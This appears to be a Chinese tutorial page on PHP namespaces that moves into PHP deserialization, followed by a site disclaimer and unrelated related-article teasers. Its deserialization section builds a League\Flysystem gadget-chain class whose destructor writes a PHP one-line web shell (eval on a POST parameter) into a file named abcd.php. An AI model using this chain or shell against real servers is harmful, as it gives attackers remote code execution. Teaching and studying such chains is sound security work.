function func() {
echo '这里是Space2的son';}
​
class classDemo{
public function __construct()
{
echo 'classDemo被创建'; 
}
}
​
?>
​
<?phpnamespace Space1;
//包含一个文件,可以调用这个方法中的类,变量,方法。。。
//但由于php无法直接区分,哪些代码是那个文件中的,
//因此必须设置一个命名空间,/
/否则不同文件中的类,变量,方法。。。就会混淆
include 'demo.php';
​
//动态调用
// 动态调用常量
$a = '\Space2\son\DEMO';
echo constant($a);
// 动态调用方法
$b = '\Space2\son\func';
$b();
$c = '\Space2\son\classDemo';
$d = new $c;
?>

5. __NAMESPACE__

<?php
namespace Space;
// 输出当前命名空间的名字 "Spacet"
echo '"', __NAMESPACE__, '"';
?>

6. 别名/导入

use Space2\son\classDemo as Demo;
$obj = new Demo();
​
use Space2\son\classDemo
$obj = new classDemo();

7. 全局类调用

<?php
namespace A\B\C;
class Exception extends \Exception {}
​
// $a 是类 A\B\C\Exception 的一个对象
​
$a = new Exception('end');
// $b 是类 Exception 的一个对象
$b = new \Exception('end');
throw $a;
?>

反序列化

/入口点位置:
namespace League\Flysystem\Cached\Storage
{
​
abstract class AbstractCache
{
//属性值为false,才可以调用该save方法
protected $autosave = false;
​
// 一句话代码,也是最后写入文件的内容
protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];
​
protected $complete = [];
​
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
​
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
​
return $contents;
}
​
 public function __destruct()
{
//autoSave参数为false
if (! $this->autosave) {
$this->save();
}
}
}
​
use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;
​
class Adapter extends AbstractCache
{
//适配器,也就是我们要利用write方法的类
protected $adapter;
protected $expire = null;
 //文件名,写入文件的文件名
protected $file = 'abcd.php';
​
public function __construct($local)
{
//方便生成的属性为local类对象,所以直接写到构造方法里了
$this->adapter = $local;
}
​
public function getForStorage()
{
//不用担心这个函数,它也没把我们的写入的内容怎么地
$cleaned = $this->cleanContents($this->cache);
​
return json_encode([$cleaned, $this->complete, $this->expire]);
}
​
 public function save()
{
$config = new Config();//为了方便,这个参数可以随便写一下,
//但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不
了)
​
$contents = $this->getForStorage();
​
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1684954.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Servlet 的 API

HttpServlet init&#xff1a;当 tomcat 收到了 /hello 这样的路径是请求后就会调用 HelloServlet&#xff0c;于是就需要对 HelloServlet 进行实例化&#xff08;只实例一次&#xff0c;后续再有请求也不实例了&#xff09;。 destory&#xff1a;如果是通过 smart tomcat 的停…

基础常用动词,柯桥西班牙语培训

1. Ser&#xff1a;是 表示身份: Soy Ana. Soy estudiante. 我是安娜。我是一名学生。 表示属性: Es duro. 这是硬的。 表示国籍: Soy espaol, de Madrid. 我是西班牙人&#xff0c;来自马德里。 2. Estar: 是..., 在... 表示身体状况: Estoy muy cansada, necesito dormir.我很…

springboot3项目练习详细步骤(第四部分:文件上传、登录优化、多环境开发)

目录 本地文件上传 接口文档 业务实现 登录优化 SpringBoot集成redis 实现令牌主动失效机制 多环境开发 本地文件上传 接口文档 业务实现 创建FileUploadController类并编写请求方法 RestController public class FileUploadController {PostMapping("/upload&…

英码科技算能系列边缘计算盒子再添新成员!搭载TPU处理器BM1688CV186AH,功耗更低、接口更丰富

在数据呈现指数级增长的今天&#xff0c;越来越多的领域和细分场景对实时、高效的数据处理和分析的需求日益增长&#xff0c;对智能算力的需求也不断增强。为应对新的市场趋势&#xff0c;英码科技凭借自身的硬件研发优势&#xff0c;携手算能相继推出了基于BM1684的边缘计算盒…

uniappx 应用未读角标插件(完善推送、通知、消息效果) Ba-Shortcut-Badge-U

简介&#xff08;下载地址&#xff09; Ba-Shortcut-Badge-U 是设置应用未读角标的原生插件&#xff0c;UTS版本&#xff08;同时支持uniapp和uniappx&#xff09; 支持设置未读、清空未读支持机型有Huawei、oppo、xiaomi、Samsung、Sony、LG、HTC、ZUK、ASUS、ADW、APEX、NO…

如何使用Matlab进行三角剖分(自定义函数实现delaunayTriangulation 使用Bowyer-Watson 算法)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、Delaunay三角形 二、使用步骤 1.Bowyer-Watson算法 2.算法步骤 三、动画演示 四、核心代码 五、对比matlab自带函数和我们的算法&#xff1a; 总结 前…

【C++】学习笔记——二叉搜索树

文章目录 十四、二叉搜索树1. 二叉搜索树的概念2. 二叉搜索树的实现查找插入中序遍历删除拷贝构造析构函数赋值重载完整代码 3. 二叉搜索树的应用K搜索模型KV搜索模型 未完待续 十四、二叉搜索树 1. 二叉搜索树的概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&…

BUUCTF---misc---[MRCTF2020]ezmisc

1、附件下载后是一张图片 2、查看属性&#xff0c;winhex分析&#xff0c;没发现什么 3、在kali中binwalk和foremost也没找到什么信息 4、用stegsolve分析也没发现什么 5、这里几乎常见的misc方法都试过了&#xff0c;还是没有发现什么 6、回归到图片本身&#xff0c;想到的…

正心归一、绽放真我 好普集团正一生命文化艺术大赛(中老年赛区)正式启动

为进一步弘扬社会主义核心价值观&#xff0c;弘扬生命文化&#xff0c;提升公众对生命价值的认识与尊重&#xff0c;同时展现中老年艺术家的创作才华&#xff0c;激发广大中老年朋友的艺术热情和创造力。好普集团主办&#xff0c;幸福金龄会与正一生命科学研究&#xff08;广州…

CSS单行、同行文本左右对齐

再项目需求中&#xff0c;UI小姐姐常常要考虑项目的排版样式更简洁高级&#xff0c;常常会在项目设置内容或者字体两端对齐的效果&#xff0c;比如&#xff0c;在做表单时我们经常遇到让上下两个字段对齐的情况&#xff0c;比如姓名&#xff0c; 手机号码&#xff0c; 出生地等…

分布式音乐播放器适配了Stage模型

OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;应用开发自API 8及其更早版本一直使用的是FA模型进行开发。FA模型是Feature Ability的缩写&#xff0c;它和PA&#xff08;Particle Ability&#xff09;两种类型是过往长期推广的术语&#xff0c;深入人心…

flannel详细介绍

一、前言 Flannel 是一个简单、高效的容器网络解决方案&#xff0c;适用于需要在多个主机上运行容器的场景。它通过虚拟网络技术和 IP 地址管理来实现容器之间的通信和跨主机连接&#xff0c;为容器平台提供了可靠的网络基础设施&#xff0c;flannel有三种模式&#xff0c;分别…

【OceanBase诊断调优】—— 直连普通租户时遇到报错:Tenant not in this server

本文介绍了直连 OceanBase 数据库中的普通租户时&#xff0c;出现报错&#xff1a;ERROR 5150 (HY000) : Tenant not in this server 的处理方法。 问题描述 在 n-n 或者 n-n-n (n>1) 的部署架构中&#xff0c;使用 2881 端口 直连 OceanBase 集群的普通租户&#xff0c;可…

Vue2基础及其进阶面试(一)

简单版项目初始化 新建一个vue2 官网文档&#xff1a;介绍 — Vue.js 先确保下载了vue的脚手架 npm install -g vue-cli npm install -g vue/cli --force vue -V 创建项目 vue create 自己起个名字 选择自己选择特性 选择&#xff1a; Babel&#xff1a;他可以将我们写…

华院计算 | 简单而复杂的“生命游戏”

人类是社会动物&#xff0c;而人类的社会活动则既简单又复杂。长期以来&#xff0c;数学家、计算机科学家和社会学家们一直试图用简单明了的方式方法去刻画错综复杂的社会现象&#xff0c;其中“生命游戏”提供了一个“寓科学于娱乐”的活动框架。 【一】导引 让我们先来玩一…

接口自动化测试Requests库实战超细详解

一、requests库 Requests is an elegant and simple HTTP library for Python, built for human beings. Requests库就是一个使用Python语言发送HTTP请求的一个类库。 github地址&#xff1a;GitHub - psf/requests: A simple, yet elegant, HTTP library. 中文地址&#xff…

【华为】将eNSP导入CRT,并解决不能敲Tab问题

华为】将eNSP导入CRT&#xff0c;并解决不能敲Tab问题 eNSP导入CRT打开eNSP&#xff0c;新建一个拓扑右键启动查看串口号关联CRT成功界面 SecureCRT连接华为模拟器ensp,Tab键不能补全问题选择Options&#xff08;选项&#xff09;-- Global Options &#xff08;全局选项&#…

民国漫画杂志《时代漫画》第6期.PDF

时代漫画06.PDF: https://url03.ctfile.com/f/1779803-1247397790-72c351?p9586 (访问密码: 9586) 《时代漫画》的杂志在1934年诞生了&#xff0c;截止1937年6月战争来临被迫停刊共发行了39期。 ps:资源来源网络&#xff01;

MySQL慢查询原因总结

文章目录 一.SQL没加索引二. SQL 索引不生效2.1 隐式的类型转换&#xff0c;索引失效2.2 查询条件包含or&#xff0c;可能导致索引失效2.3 like通配符可能导致索引失效2.4 查询条件不满足联合索引的最左匹配原则2.5 在索引列上使用mysql的内置函数2.6 对索引进行列运算&#xf…

低耦合双写一致性方案-使用canal+MQ

需求&#xff1a;继上一篇使用xxljob实现数据的全量同步到es后&#xff0c;当数据库中新增、删除、修改数据时&#xff0c;应该对es中的对应索引库实现增量同步。 本文介绍了2种双写一致性方案&#xff0c;对其中使用MQ的方案进行了实现。 1. 方案设计 1.1 数据一致性问题分析…